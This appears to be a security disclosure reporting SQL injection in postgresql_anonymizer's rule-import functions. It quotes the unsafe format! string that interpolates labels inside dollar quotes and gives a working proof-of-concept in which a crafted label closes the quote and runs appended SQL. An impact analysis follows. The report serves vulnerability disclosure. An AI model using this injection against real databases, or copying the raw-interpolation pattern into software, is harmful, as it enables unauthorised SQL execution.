SQL injection in anon.import_*_rules()
Affected: postgresql_anonymizer 3.2.0-dev current checkout
Tested on: PostgreSQL 18.4, Docker runtime built from current source
Functions:
- anon.import_roles_rules(jsonb, text)
- anon.import_database_rules(jsonb, text)
Rule import builds SECURITY LABEL statements by interpolating untrusted label strings into a dollar-
quoted SQL literal. In release builds the delimiter is stable: $label_test$.
```
format!(
"SECURITY LABEL FOR {} ON {} {} IS $label_{}$ {} $label_{}$;",
profile,
kind.to_string().to_uppercase(),
name,
random,
label,
random,
)
```
Because label is inserted raw, an imported rule can close the dollar quote and append arbitrary SQL:
```
CREATE ROLE mdi_runtime_role;
SELECT anon.import_roles_rules(
jsonb_build_object(
'mdi_runtime_role',
'MASKED $label_test$; CREATE TABLE public.mdi_runtime_sqli_marker(proof int); INSERT INTO
public.mdi_runtime_sqli_marker VALUES (1337); --'
),
'anon'
);
```
SELECT proof FROM public.mdi_runtime_sqli_marker;
-- returns: 1337
Impact
Arbitrary SQL executed as the caller of anon.import_roles_rules() or anon.import_database_rules().
Runtime testing showed these functions are SECURITY INVOKER, so this is not an automatic low-
privilege to superuser escalation: injected CREATE ROLE ... SUPERUSER fails for an unprivileged
caller.
However, this becomes privileged SQL execution if attacker-controlled JSON is imported by a
superuser, extension owner, migration job, admin automation, or any other privileged session.
Reporter:
Mehmet Ince @mdisec
issue